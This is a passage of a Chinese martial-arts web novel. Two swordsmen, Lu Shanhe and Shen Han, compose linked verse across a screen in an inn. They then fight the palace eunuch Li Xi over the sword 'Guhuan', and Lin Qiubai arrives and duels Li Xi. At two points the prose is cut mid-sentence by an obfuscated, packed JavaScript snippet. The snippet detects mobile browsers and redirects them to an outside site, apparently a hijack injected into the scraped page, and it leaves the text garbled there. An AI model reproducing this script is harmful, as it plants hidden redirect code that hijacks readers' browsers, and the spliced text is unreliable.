子一口气讲完这许多。 “我说店掌柜,你这口才,快赶上一个说书先生了”阴柔男子的一名侍从打趣店掌柜道。 “实不相瞒,小老儿我就是靠着这个起的家”店掌柜不好意思地说道。 杜可儿边吃着饭菜,边注意着那边店掌柜与那几位番子的对话。店掌柜讲完之后便下楼去了。杜可儿抬眼向那几名番子看去,刚一抬头,便与那为首的阴柔男子目光撞在了一起,只见那阴柔男子正直直地看着自己,脸上透着一股莫测的神情!见杜可儿也看向了自己,那阴柔男子便很快露出一个皮笑肉不笑的笑容来。 “姑娘真是食韵惊鸿,餐风逸客”,那为首的阴柔男子道。 杜可儿听罢,放慢了吃饭的速度,露出一个尴尬的笑容,随后便躲开了对方的目光。向窗外看去。 正在此时,一个聒噪的声音从楼下传来,只听得店家又是那套说辞,说什么小店并不营业,劝那男子离去。可那男子并不买账,硬是向二楼走来。少时,只见陆山河登上了二楼,手中拿着一个被丝绸包裹起来的细长物什。为首的阴柔男子向陆山河瞥了一眼。 “好哇,你这个店家,是瞧不起公子我?还是这坐在二楼的都是你亲爹亲妈?这也叫不营业吗?”陆山河咄咄逼人地问到。 “这……”店家为难地不知怎么回答。 陆山河不等店家搭话便自顾自地选了一个屏风后的临窗之处,坐了下来,伸手推开了窗户。杜可儿只觉得声音有些熟悉,但一时并没有什么印象,于是也并没有伸张什么。 “店家,两壶上好的青雕,其余的嘛,好酒好菜尽管上来便是”陆山河说到。 店家只好下楼前去准备,正待下楼之时,另外一个青衣男子正走上楼梯,也向这二楼走来。店家本来想要谢客,可一想还是算了,这年月多一事不如少一事,这个时候敢出来在大街上闲逛的人,大多都不好惹,于是店家身子一侧将那男子让了过去。青衣男子也选了一个临窗的位置,背向杜可儿坐了下来,正好与陆山河隔着那道屏风,而这青衣男子正是一直追踪陆山河的沈寒。杜可儿此刻正扭头看向窗外,便也没有看到沈寒的面容。 “客官吃些什么?”店家店掌柜问到。 “我不是本地人,您看着上便是”,沈寒说着拿出一些碎银两交给了店掌柜。 店掌柜听罢,转身下了二楼。 10. 隔香扆双璧吟玉韵,遇危情单刀战中贵 不多时,陆山河和沈寒的饭菜也都上齐了,众人皆边欣赏这雨中江南,边品味这瀚江佳肴。窗外如丝如缕的雨幕正温柔地包裹着天地,山峦间雨雾缭绕,明湖上珠玉跃动。正是那浪荡书生郑穆清的《江南赋》中所描写的景致: “……细雨绵绵,润染江南千顷翠;轻烟袅袅,迷离湖畔万重纱。波心弄影,雨弹湖镜声声慢;柳岸含情,风抚丝绦袅袅柔。乌篷摇曳,穿破雾帘寻旧梦;画舫悠然,荡开云影觅闲情。青山入境,雾锁峰头添秀色。绿水盈眸,雨敲竹荷奏清弦。桥横两岸,静卧碧波观岁月。亭立湖心,闲临烟渚阅春秋……” 只不过,近几日城内的恐怖传说,让那些才子佳人都不敢再出来清谈浅酌,举觞品韵了,今日这湖面上并没有乌篷和画舫游湖。 陆山河一壶酒早已饮完,看着窗外烟雨织梦,雾霭氤氲,不由自主地脱口而出道:“微雨含烟处”。 陆山河话音刚落,只听得屏风的另一侧传来一句“暝幕云霏时”。 陆山河酒意方浓,没有听出屏风另一侧的声音竟是沈寒,于是又道:“远峰隐韵霖晦景”。 沈寒听得屏风对面又作出一句,只觉得这个声音非常熟悉,但并没有多想,心思几乎全部都放在了对方的诗句上了,只觉得妙趣横生,心花怒放,与那隔着屏风之人虽从未谋面,但此时却大有知己之感,于是沈寒道:“幽林滴露醉清姿”。 陆山河听闻对面传来的诗句,心中亦是欣喜,心想要与对面微微开个玩笑,调戏对方一下,看对方是何反应,于是便又道:“粉墙黛瓦朦胧里”。 沈寒没想到诗风突然有此一变,不过饮酒作诗,何必在意那么许多?平时被师父管得太过严苛,今日正好趁着酒意稍微放肆一回,于是便答到:“一抹幽情入相思”。 听到这个回答,陆山河觉得对面倒也是个有趣之人,不错不错。也许是酒意作祟,也许是同有知己之感,陆山河看着窗外的绵绵细雨,突然有一种莫名的孤寂之感涌上心头,于是便轻声道:“正是离人倚槛”。 陆山河这一声道的极轻,可还是被屏风另一侧的沈寒听到了。沈寒听闻陆山河这一句甚是凄清的诗文,心中不觉也涌现出一种寂寥之情,于是便也轻轻答道:“恰逢倦客凭窗”。 难道坐在对面的那位与自己境遇相同?陆山河不觉一股暖意涌上心头,便又道:“湖波潋滟千重梦”。 沈寒顿时听懂了对方这一句诗的韵意,于是便答道:“岸柳飘摇万缕丝”。 陆山河听罢微笑了起来,又道:“遥岑雾绕百般媚”。 沈寒回道:“曲岸波生一种情”。 陆山河没想到对方竟能如此懂得自己,必是知己无疑,便又想调皮一下,于是道:“谁知幽怀暗许”,想看看对方如何接这暧昧非常的最后一句。 沈寒听得这一句之后,脸瞬间红了起来,不过统观全篇,这一句并非胡来乱写,放在此处倒也合适,于是便带着些许不好意思说到:“不堪岁岁相思”。 “好,好,好!”一个阴柔而响亮的声音向沈寒和陆山河这边传来。伴随着这几声好,讲话之人的那双纤细柔长的双手也在轻轻地鼓掌,“微雨含烟处,暝幕云霏时。远峰隐韵霖晦景,幽林滴露醉清姿。粉墙黛瓦朦胧里,一抹幽情入相思。正是离人倚槛,恰逢倦客凭窗。湖波潋滟千重梦,岸柳飘摇万缕丝。遥岑雾绕百般媚,曲岸波生一种情。谁知幽怀暗许,不堪岁岁相思。”那为首的阴柔的男子将这首二人合作的诗文又重复了一遍,满目的欣赏之色。 “果然是江南多才俊,风流出少年啊”,那阴柔的声音再次传来,“二位何不撤去屏障,共饮此刻呢?” “我倒是无所谓,不知对面的仁兄如何?”陆山河洒脱地说到。 “在下也正有此意,兄台不嫌弃便可”,沈寒轻声道。 “来呀,撤去此屏”,那阴柔的男子向楼下的店家喊道。 杜可儿此时已酒足饭饱,方才那阴柔男子一直看向自己,在此多做停留恐生剧变,于是便起身准备离开。不想,杜可儿刚刚起身,那阴柔男子便开口与之搭话。 “我说姑娘,着急着走啊?”那阴柔男子道。 “小女子还有要事,今日与诸位相遇于此,深感荣幸,若是有缘,日后江湖再聚。”杜可儿说着便向楼梯走去。 “如此良辰美景之时,相遇这悦来楼,便是天大的缘分,李喜不才,想要敬姑娘一杯,可否赏脸呢?”那阴柔男子道。 杜可儿见对方如此,更欲速速离去,便不再理会那阴柔男子,继续向楼梯走去。未料,那李喜的一个随从却挡住了杜可儿的去路。 “这是做什么?你们几个大男人,难不成要欺负我一个弱女子吗?”杜可儿微微回首,严厉地看向那坐在酒桌旁的李喜,手已经放在了腰间的残月弯刀刀柄上。 “这位兄台,我看这位姑娘与诸位也是素昧平生,何必为难?”沈寒说着站起身来,也看向那名阴柔男子。 “若这天下有不平之事,我陆山河可不会坐视不管!”陆山河的声音从屏风后边也传来。 那店家带着伙计此时正走在楼梯上,本来准备去撤掉那屏风,一听楼上是这般情况,便扭头催促着伙计,又下了楼梯。 “哎呦!别一会儿又打起来!就说这几日城中晦气过重,真不应该叫这几位进来哟!”店掌柜搓着手,一个劲儿地嘟囔。 “不让进来?咱也得拦得住啊”,店伙计埋怨着。 “几位客官,还需要加些酒菜吗?若是吃好了,小店也该打烊了,这天色渐晚,城中闹鬼,别耽误了几位的行程”,店掌柜一只手扶着楼梯,伸着脖子向二楼喊去。 店小二无奈地将头歪向一侧,“说这干嘛,有什么用啊?别一会儿把咱们也卷进去。” 见楼上没有人搭理自己,店掌柜又搓着手走到神像前边,上了三炷香,闭着眼祷告不要发生什么大事。 “哟,我说二位小哥,我只是想请这姑娘吃一杯酒,何必这么小题大做呢?”那李喜缓缓讲到,“我说姑娘,你这衣服好端端的怎么湿了呢?进店之前可并未下雨啊”,李喜又道。 “这与你又有何干?”杜可儿冷冷地答到。 “嗯……说得也是,不过呀,姑娘家家的,这么着也太不得体了,况且你那衣服上还沾染着炭黑污痕,那是在哪里搞脏的呢,莫不是你刚去过那江府吧?”李喜的声音突然变得尖厉起来。 “与阁下素不相识,不能奉陪了”,杜可儿说着就要往楼下走去。 那挡在杜可儿前边的随从突然抽出了腰间佩刀。杜可儿下意识地也从腰间抽出了那把残月弯刀。大战一触即发。楼下的店掌柜听到楼上刀剑出鞘的尖厉声音,着急得直跺脚。 “哎呦!完了完了!我这店今天非得被砸个稀烂!”店掌柜苦着脸道。 见那杜可儿拔刀,李喜身边的另外三个随从也立刻起身站了起来,腰间佩刀也都纷纷出鞘,只有那李喜还稳稳地坐着,手中端着一杯酒细细地品味。沈寒见状,立刻身子一跃,落在了杜可儿的身边,随时准备与这几人动手。沈寒刚到杜可儿身边,只听得背后一阵木料断裂的声音传来,转头看去,陆山河正一脚将刚刚隔着两人的屏风踹了个稀烂,断木飞得到处都是。 楼下的店掌柜听得楼上屏风碎裂的声音,肝都颤了,连忙就要往后厨躲去。店小二跟着店掌柜也要躲去后厨,可被店掌柜拦了下来。 “掌柜的,您这样可不地道啊!”店小二紧张兮兮地说到。 “还不赶紧去报官!等着我去呀?快去!”店掌柜压低声音道。 “我可不敢出去!”店小二一脸委屈。 “快去呀!这个月工钱给你翻一倍!”店掌柜一咬牙说到。 “那我也不敢去!”店小二还是不肯。 “两倍!两倍总行了吧?”店掌柜加了价码。 “不成不成,命没了,要钱作甚?”店小二有点趁火打劫的意味。 店掌柜只好从怀中拿出杜可儿刚刚付的那一小锭银子,塞到了店小二的手中。 “还不快去!” 得了如此大的好处,店小二向店外跑去。 再说那楼上,陆山河一脚将屏风踹了个稀烂,沈寒转头便看到了陆山河的面容,也就在同时,陆山河也看清了沈寒的面容,二人都不觉大吃一惊!原来刚刚与之对诗的,竟是自己一直追踪的夺刀贼! 沈寒面色一沉,脚下发力,转身向陆山河的方向飞了过去,直取陆山河放在桌上的那个丝绸包裹的细长物什,那必是孤还刀!见沈寒冲自己飞来,陆山河眼疾手快,伸手就去拿那桌上的“孤还”。说时迟那时快,沈寒和陆山河二人,同时死死握住了“孤还”的刀身!二人皆一用力,刹那间,包裹在“孤还”外边的丝绸,被这两人的内力撕扯成碎片,四散飞去,刀身震颤,发出嗡嗡蜂鸣。 时间仿佛都为之一滞,空气似乎被瞬间点燃,弥漫着炽热的火药味!沈寒眉头微皱,手臂又猛地发力,试图将刀夺过来。陆山河没有用力回夺,而是脚下轻点,顺着沈寒的力道向前滑去。沈寒只得往后,便和陆山河一前一后,在二楼地板上滑行了一段。 待二人停下身形之后,沈寒猛地一扭手腕,试图将刀从陆山河手中夺下。陆山河毫不示弱,手臂发力,刀身只是微微轻颤。一时间,二人僵持不下。沈寒一脚轻点地面,身形凌空旋转,借助这股劲力,沈寒想要将刀身带得旋转,从而使刀从陆山河手中脱离。可陆山河反应极快,脚下同样一点,跟着沈寒的动作于空中旋转起来。 到二人皆落回地面,沈寒和陆山河的手仍旧都紧握刀身。沈寒眼神锐利,如鹰隼般盯着陆山河。陆山河则是面色沉稳,还带几分嬉笑。突然,沈寒用空着的那只手,单掌猛地一拍刀身,强大的内力顺着刀身传导到陆山河紧握刀身的手中。陆山河只觉得手臂微微发麻,心想不好,便快速地用另一只手也握住刀身,随后才松开那只被震麻的手。 沈寒见陆山河依旧不肯还刀,便又起掌,向陆山河的胸口击去。陆山河侧身一闪,避开了这凌厉地一击。与此同时,陆山河抬起膝盖,顶向沈寒的腹部。沈寒向后一跃,躲开陆山河的攻击,手也并未松开刀身,顺势一带,陆山河被扯得向前踉跄几步。沈寒借着这股冲力,脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991025|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踏地板,身子横着跃到空中,双脚如重锤般朝着陆山河头部踢去。陆山河连忙抬手,用胳膊行成一个护盾抵挡在脸部。“砰”的一声巨响,两人的力量碰撞在一起,四散的内力向四周激荡而去。 就在刚刚沈寒跃身向陆山河飞去之后,杜可儿便打算冲下楼去,可李喜却一个翻身,凌空落在了杜可儿的面前挡住了去路。李喜微微摆手,原先那名挡着杜可儿的随从便让开了位置,与另外三名随从一起站到了靠窗的地方,四人并肩而立,身姿笔挺,目不斜视,宛如雕塑一般,对眼前沈寒和陆山河的争斗视若无睹。 见被这太监挡住了去路,杜可儿拔刀出鞘,向着李喜,自下而上斜砍过去。李喜瞬间变得一脸阴鸷,侧过身形,避开了杜可儿的这一斜斩。随后,李喜单手成掌,带着凌厉的掌风,直逼杜可儿的腰部!杜可儿见状立刻将弯刀一横,挡在了自己腰间。只听得“当”的一声,刀身与肉掌碰撞在一起,竟溅起一抹火花!而杜可儿被这一掌击直接击得向后飞去,重重摔在了地上。 杜可儿翻身跃起,将手中弯刀挽出几个刀花,如同灵蛇一般向李喜砍刺过去。李喜脚尖点地,向后飘然而退,避开了杜可儿的攻势。杜可儿一击不成,顺势向李喜的面庞甩出几枚燕子镖。李喜眼中闪过一丝狠厉,轻拈长指,竟然生生用手将飞来的燕子镖全数弹了回去。 见燕子镖反向自己飞来,杜可儿急转刀身,刀身形成一道银白色的屏障,将飞镖打开。李喜面色微变,一甩袖子,将身旁放在桌面上竹筒中的筷子扇了出去!十几只筷子如同离弦利箭一般飞向杜可儿。杜可儿左手用力,将一张八仙桌掀起挡在身前。可没想到,竹筷的力道迅猛至极,竟然直接穿透桌面继续向前。杜可儿连忙倾身向后,躺在地上,方才躲过这如同箭矢的筷子。那些筷子从杜可儿的上方飞过,都深深地钉进了酒楼的墙壁之中。 未等杜可儿起身,那刚刚被她当做盾牌的桌子便被一双手击碎,李喜双掌如刀一般向杜可儿袭去。杜可儿躲闪不及,将手中的弯刀向着李喜投掷了过去。李喜见一道寒光正冲自己面门而来,于是凌空转身,躲开了弯刀的攻击,身子落回了地面。那柄弯刀则是继续向上飞去,插进了酒楼的屋顶。趁着这个空档,杜可儿方才跃起身体,站了起来。可李喜攻势不减,瞬间便又来到了杜可儿身前,双掌击向杜可儿腹部。杜可儿躲闪不及,向后飞去,撞碎了一张桌子方才停了下来。一口鲜血从杜可儿的口中喷了出来。 这陆山河和沈寒的争斗与李喜和杜可儿的争斗是前后发生的。那杜可儿被击倒,口吐鲜血之时,正是那陆山河用胳膊抵挡沈寒踢向自己头部那一击的时候。见杜可儿被打倒在地,沈陆二人方才心照不宣地停下了打斗,一起跃身落在了杜可儿身前,挡住了又要出手的李喜。即便如此,那沈寒和陆山河依旧一起握着“孤还”的刀身,谁都不肯松开。杜可儿看着背向自己,并肩站着的陆山河和沈寒,就像两个要牵手却不敢牵在一起,只能靠着一把横刀建立联系的冤家一样。 “你这阴阳人,下手还挺重!人家可是个女孩子哎!难不成是你进了那宫墙,连心都变得这般阴狠,半点怜香惜玉的心思都没了?也不怪你,生来残缺,又怎懂得这世间温柔滋味!”陆山河阴阳怪气地冲着李喜说到。 “黄口小儿,胆敢出言不逊!”李喜听罢陆山河的这一番言辞,怒不可遏,火冒三丈! “究竟为何,大人竟对一个初次见面的女子出手如此之重?”沈寒也说到。 “哼!既然认出了本官乃大内中贵,还不快快让开?”李喜摆出一副盛气凌人的架势。 “我偏不让!”陆山河微微仰头,下巴扬起一个恰到好处的角度,眼眸半垂,做出一个轻视的动作,眼中满是不屑。 “这女子并未冒犯大人,请大人请高抬贵手”,沈寒道。 “本官素来爱才,你们两个不要不识好歹,现在离去,本官不予追究”,李喜语气中带着威胁之意。 “你这阉人,要打架吗?”陆山河不客气地说到。 陆山河话音刚落,一直站在窗户边的那四名番子齐齐抽刀,翻身跃到了李喜身后。 “谁让你们四个动了?对付这两个黄毛小子,咱家难不成还需要你们帮忙不成?”李喜看着陆山河和沈寒,面露轻蔑之色。 那四人将刀收进刀鞘又回到了窗边站着。陆山河轻轻扯着同时握在二人手中的“孤还”。沈寒忽觉手中刀身微动,便看向了陆山河。 “一看这阴阳人就很厉害,你不能让我空手打吧?”陆山河笑嘻嘻地对沈寒说到。 沈寒从怀中拿出陆山河的那把扇子来,在陆山河脸前晃了晃。 “都这个时候了,你们这是在打情骂俏吗?好哇!你们两个黄毛豆芽菜,这是不把咱家放在眼里啊!”李喜怒火中烧,双掌微微颤抖,一股气流隐隐出现在李喜的双掌之上。 “就别争了!这阴阳人要出手了!”陆山河焦急地说到。 陆山河话音刚落,那李喜横眉倒竖,周身气势陡然攀升,内力竟吹得衣袂猎猎作响,旋即双脚猛地用力,双掌快如闪电,向沈寒和陆山河呼啸着击打过去! 11. 斗双子提督李太监,争青刃御凛林秋白 那李喜的掌力非凡,掌心所至,空气瞬间被撕裂,宛如锋利的刀刃切开空气一般,发出“嘶啦”的尖啸!沈寒见状,立刻松开手中的“孤还”刀身,陆山河似乎心有灵犀一般,同时将“孤还”抽出刀鞘,一道寒光闪烁,直冲李喜而去!与此同时,沈寒甩开手中折扇,以扇为刃,也向李喜冲了过去!霎时间,沈寒和陆山河一左一右,一刀一扇,如离弦之箭般冲向李喜,对上了李喜带着排山倒海之势的双掌! 一时间,刀光闪烁,竹扇飞转,双掌挟飓!这一击,沈寒和陆山河二人都将全身内力灌注到了各自手中的兵器当中。三人碰触的一瞬间,周遭气流瞬间紊乱,如同可见的涟漪一般向四周扩散开来,周围的空气被这急促的巨力急速挤压,发出近乎爆裂的声响。四散的气流裹挟着桌面的碗碟酒壶撞向墙壁,摔得粉碎。这一对击,逼得陆山河和沈寒都后退了几步,而那李喜却纹丝未动。 “两个不知死活的黄口小儿!”李喜目光中闪着阴冷的光芒。 陆山河和沈寒还未彻底站稳身形,那李太监身形一闪,如同鬼魅一般又欺近沈寒和陆山河。李喜的双手化掌为爪,极其迅猛的双爪如鹰爪般探出,带着凌厉的风声,直取沈寒与陆山河的咽喉。陆山河怒目而视,率先做出反应,手中横刀自下而上,奋力一挥,朝着李喜伸出的一对胳膊砍去! 李喜嘴角显出一丝冷笑,双臂微微收回,“鹰爪”向下反转,如铁钳般生生抓住了“孤还”刀刃朝上的刀身!只听得一阵金石嗡鸣之声,“孤还”迅捷的砍杀之势便被这双手一下子止住了。与此同时,沈寒手中折扇猛地一合,如同一把短棍,朝着李喜的头部狠狠击去。 李喜见状,手中不松“孤还”刀身,双腿向前,身子向后一倾,躲开了沈寒的攻击。紧接着,李喜双腿趁势向二人踢去,直逼沈寒和陆山河的胸口。陆山河怕刀脱手被那太监抢去,以迅雷不及掩耳之势换手持刀,身子一侧,好歹躲过了这直冲胸口的一击。沈寒则是单手成掌,护在胸前,硬接下了李喜的这一脚,但身子却又被踢得向后退了几步。 陆山河想要把“孤还”刀身从李喜的手中挣脱,双脚猛地踏向地面,身子凌空而起,于空中旋转起来,想要用这周身旋转之力将刀身也带得旋转,从而脱离李喜的双手。可那李喜的双手犹如钢铸一般,紧紧地锁住了“孤还”的刀身。这周身旋转之力,非但没有让“孤还”从李喜手中挣脱,反而差点将陆山河的胳膊拧断,好在陆山河及时让紧握刀柄的手微微松了一点,只是那手掌被磨得通红,刀柄差点脱手。 于此同时,沈寒见陆山河凌空夺刀不成,反而差点失刀,心中一惊,展开手中折扇,使劲全身气力向李喜投掷了出去。那折扇于空中飞速旋转,洁白的扇面在空中划出一道残影,如同一道闪电一般,飞向李喜的手腕。李喜见扇如刀锯,正斩向自己的手腕,不得已松开了抓着“孤还”的双手,躲过折扇的斩击。扇面切割空气的声音,如同一丝剑鸣,传进李喜的耳朵。折扇飞速从李喜的面前掠过,继而顺着一条弧线向陆山河的方向飞去。 李喜刚一松开“孤还”的刀身,陆山河便迅速将刀收向自己,身子落地之时,那折扇刚好飞向自己身边。陆山河伸出那空着的手,一把抓住折扇,并同时将“孤还”投向了沈寒。沈寒举手接刀。刀入沈寒手掌的那一刻,陆山河和沈寒二人,默契十足地又同时向李喜太监发动了攻击。 陆山河轻敲扇骨,伴随着清脆的金属之声,几道闪着寒光的细丝精钢,不知从何处弹了出来,附着在各个扇骨之上。紧接着,陆山河手中折扇猛地展开,“嗖”的一声,几枚暗器如流星般射向李喜的面门,寒光闪烁,去势凛冽! 再看沈寒,沈寒接到刀之后,举刀对鞘,将刀柄插入刀鞘之中,那刀与刀鞘便瞬间组成了一杆长兵。沈寒手握刀鞘,猛地将刀尖向李喜刺去,刀尖划破空气,发出尖锐的呼啸,恰似蛟龙出海,直取李喜腹部。 这一上一下的攻击,同时向李喜迅疾而去!只见那李喜,面色阴森,爆出一声尖锐刺耳的大喝,双脚踏地,身子往后飘然而去,双手向后张开,站在窗边的其中两位番子腰间的跨刀,瞬间离鞘而出,飞到了李喜手中。李喜双手持刀,一刀拨开飞来面部的暗器,一刀拨开了“孤还”的刀身。紧接着,李喜双手舞动双刀,刀光霍霍,如同一团旋风一般向着二人席卷而去! 见李喜靠近,沈寒再次欺身而上,将手中长刀翻转刀身,刀刃向上,一个竖挑,向李喜下盘砍去,刀风呼啸。与此同时,陆山河见暗器无功,身形一闪,趁着沈寒再次攻击的时候,转到了李喜身后,折扇一合,“蹭“的一声,几道尖刺一般的利器从扇头冒了出来,如同一把利刃,朝着李喜的后颈刺去。 李喜双刀交叉向下,挡下了来自沈寒的一击,可同时也感受到了来自背后的威胁。李喜身形快速一转,手中双刀将“孤还”拨向一侧的同时,将刀围转腰身,自下而上,朝着陆山河的手臂砍了过去。陆山河连忙抽回扇子,并将扇子倒转到胳膊下方。电光火石之间,李喜手中刀刃与陆山河折扇扇骨的金属撞击在了一起,发出“当”的一声,将陆山河的胳膊震得生疼。 陆山河躲过一劫,赶忙向后退了几步,与李喜拉开距离。沈寒见李喜忙于招架陆山河的攻击,便又在李喜砍向陆山河胳膊的时候,将被拨到一边的横刀拽了回去,扭转腰身,长刀围绕沈寒腰间旋转蓄力,继而向李喜的腰部横斩而去!李喜脚踏地板,身子横飞而起。“孤还”的刀身错过李喜,紧贴着李喜的衣服,从凌空的李喜身子下方扫过,没有伤到李喜半分。 李喜旋即落回地面,口中尖喝,声波如同箭雨一般,将这酒楼二楼的雕花窗户震得碎裂开来!李喜手中双刀猛地一挥,两道强大的内力涌入两把刀身,将两把钢刀瞬间震断,内力裹挟着刀身碎片,直扑向沈寒和陆山河。二人躲闪不及,被这气浪和刀身碎片纷纷击中,二人身中钢刀碎片,身子被气浪推得向后飞出,都重重地撞击在了墙壁之上,鲜血从各个钢刀碎片造成的伤口中流了出来! 陆山河和沈寒都受了伤,无力再战。 那李太监将双手手中的刀柄丢向地面,伸手将落在地面的“孤还”用内力吸到了手中。李喜将“孤还”的刀柄从刀鞘中取出,举着“孤还”欣赏着。 刚一入目,李喜便觉出这刀的不凡,只见那“孤还”刀身修长,约三尺有余,泛着清冷的乌光,宛如一泓深邃的幽潭,平静之下暗藏凛冽锋芒。刀身由百炼玄铁打造而成,表面的纹理细腻而独特,如山川脉络,似江河蜿蜒。凑近细观,还能发现其间隐隐有暗纹交错,宛如神秘的符文,为这把刀增添了几分神秘色彩。刀身最靠近护手的地方,一面刻着“孤还”二字,另一面刻着“天德”二字。 “孤还”的护手部分呈圆形,由精铁铸就,表面雕刻着栩栩如生的瑞兽图案,刀柄采用珍稀的黑檀木制成,质地坚硬且纹理美观。刀柄上缠着一层黑色的丝线,丝线紧密缠绕,不仅增加了握持的摩擦力,还为整把刀增添了一份古朴与庄重。刀鞘同样毫不逊色,以精钢为底,外覆一层鲨鱼皮。鞘身两侧分别镶嵌着两颗绿松石,朴素且雅致。 “没想到是那天德老人打造的宝刀,咱家今天算是开了眼了”,李喜太监欣喜,目不转睛地看着“孤还”刀身。随后,李喜将刀收入刀鞘,握在手中,“这刀就归咱家了,咱家现在非常高兴,你们两个小子,便留你们一命,还不快滚?” 见那李喜要将刀据为己有,沈寒挣扎着站起身来,又要向那李喜走去。杜可儿见状便爬向沈寒身边,用手扯住了沈寒的衣摆。沈寒向下看去,之见杜可儿正对着自己摇头。 “我说糯米团子,不要命了?刀先给他,日后我帮你再抢回来便是,现在先别动。”陆山河说着咳嗽了起来,一丝鲜血从嘴角流出。陆山河用衣袖擦去嘴角的鲜血。 沈寒看向倒在另一侧墙根下的陆山河,没有多言,而是蹲下身子,拉开杜可儿抓着自己衣摆的手,又准备起身向前走去。 “听他的吧”,杜可儿说到。 “小姑娘,他们可以放走,你可不成”,李喜慢悠悠地说到。 “家师的遗物,岂能拱手让人?”沈寒缓缓起身,艰难地向刘喜走去。 “不知死活!”李喜说着,抬起了手掌,准备向沈寒一掌击去。 正当李喜将要出掌之时,一道黑色的影子,星驰电走般从窗外飞了进来,直奔李喜的手掌而去,李喜迅速收掌,躲开攻击!那黑影从李喜身前掠过,“嘣”的一声,插进了酒楼的墙壁当中,这时方才看清是一杆黑旗。 旗杆深深地没入墙壁,黑色旗帜垂落下去,麒麟纹绣的底上一个“林”字赫然在目,正是那林秋白统御下的御凛卫黑旗军军旗。四名站在窗边的番子转身向外看去,只见湖面上,一艘黑旗林立的宝船正缓缓向这边驶来,甲板上,兵士如松,皆黑铠着身,兵士头盔上的缨络,洁白如雪,在蒙蒙细雨中自然垂落。楼舱外边的一把太师椅上,一个身着烟墨色衣服的男人正端着一碗茶,在一张大伞下,细细品味着茶香。 “督主,是林秋白”,一名番子转过身来对李喜道。 “哼,我看到了。”李喜看着插进墙壁中的黑色旗帜说到。 “他林秋白,怎么会到这里?”李喜疑惑道。 再看那船上的林秋白,放下手中茶碗,起身一跃便从船上跃到了湖中。当他的双脚即将接触到水面时,林秋白巧妙地调整了身姿,脚尖轻点水面,如同蜻蜓点水一般,在水面上带起一点水花,身子再次高高跃起,向前飞去。林秋白动作轻盈而流畅,速度极快,很快便到了悦来楼的下方。林秋白双脚踩向水面,身子高高飞起,一个翻身便从窗户跃进了二楼内部,站到了李喜面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991026|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见林秋白进来,李喜眼神阴鸷,微微眯起了双眼,试图藏住那眼中出现的一点寒芒。而林秋白则是轻轻捋了一下胡须,侧身看向了那正欲走向李喜的沈寒。 “年轻人,若非老夫到此,你岂不是早已成了这李公公的掌下冤魂”,林秋白缓缓道。 “家师遗物,拼死也要夺回!”沈寒坚定地说到。 “哦?李公公向来喜欢夺人所爱呀”,林秋白转而看向李喜。 “哼,小子不自量力,想要打杀咱家,自然要拿些赔偿!”李喜冷冷道。 “若非你这阴阳人硬要欺负这位姑娘,我们怎么会跟你打起来?”靠坐在另一边的陆山河道。 “这位姑娘,又是怎么惹到了李公公呢?”林秋白看向地上的杜可儿。 “咱家奉皇上之命,来长苏调查江府灭门之案。这女子与江府灭门惨案定有干系!”李喜道。 “哦,原来如此。”林秋白不急不缓地说到。 “林大人此时不应该出现在这长苏地界吧?咱家怎么记得,我出皇城之时,皇帝派你去漠北调停斡亦剌惕部与弘吉剌部的矛盾去了?你林大人胆敢抗命,咱家要参你一本!”李喜阴森森地说到。 “蔑儿乞和秃马惕趁着斡亦剌惕与弘吉剌爆发冲突之时,联合抢占他们的草原。现在,四个部落互相征战,已经不必再去调停了。呵,让他们去乱好了,如今这漠北边境,比任何时候都要安全。于是老夫便请旨,也来了这江南,前来祭奠老友”,林秋白说到,“李公公这也要参吗?” 李喜一时说不出话来。只得招呼那几个番子将杜可儿带走。 “来呀,将这女子给咱家拿了!”李喜咬牙切齿地道。 “慢着”,林秋白冷冷地说,那四个番子停了下来。 “李公公,这女子确与江府有关,只不过这女子乃是江府的丫鬟,老夫多年前曾在江府见过这女子。”林秋白道。 “江府满门被杀,唯独这女子还活着,岂不是更为可疑?”李喜咄咄逼人。 “江府被屠之日,我刚好不在府中,这才逃过一劫!再说我一个女子,纵使有些武功,又怎么可能是老爷的对手?况且还有那许多护院门客!”杜可儿道。 “口说无凭,还是先拿了,慢慢查来!”李喜不依不饶。 “李公公此举不妥吧!有老夫做保,若日后查到与这女子有关,再抓不迟。”林秋白说到。 “哼!”李喜这才作罢,冷哼一声准备转身离去。只听得背后传来沈寒的声音。 “把刀留下!” 李喜只是微微停了一下脚步,随即便又继续向前走去。可那林秋白却一个翻身挡在了李喜面前。 “林大人这是何意?要与咱家切磋切磋?”李喜阴冷地缓缓说到。 “李公公若不把这刀还给那位少侠,怕是下不了这二楼。”林秋白缓缓转过身来,看着李喜说到。 “那便要看看你林秋白有没有这个本事了!”李喜面色一沉,一股狠厉之气浮于脸上。 李喜率先发难,身形如电,瞬间欺近林秋白,一手成钩,直取林秋白咽喉!林秋白反应极快,身体微微后仰,腰部用力一扭,整个人如同灵活的猎豹一般向后滑出一段距离。向后滑的同时,林秋白的左手迅速抬起,精准地抓住李喜的手腕,用力一拧。李喜见手腕被拧,顺势一个转身凌空而起。借助林秋白的拉力,李喜于空中扭转身形,双脚向前,踢向林秋白的胸口。 林秋白抬起另一只手,挡在胸前,只听得“砰”的一声,林秋白丝毫未动,脚下的地板则是“咔擦”一声裂开了几道裂纹。李喜旋即落地,而林秋白的右手则如离弦之箭一般,带着呼呼风声,直击李喜的面门。李喜双眼一眯,脑袋微微侧开,避开了林秋白的攻击。 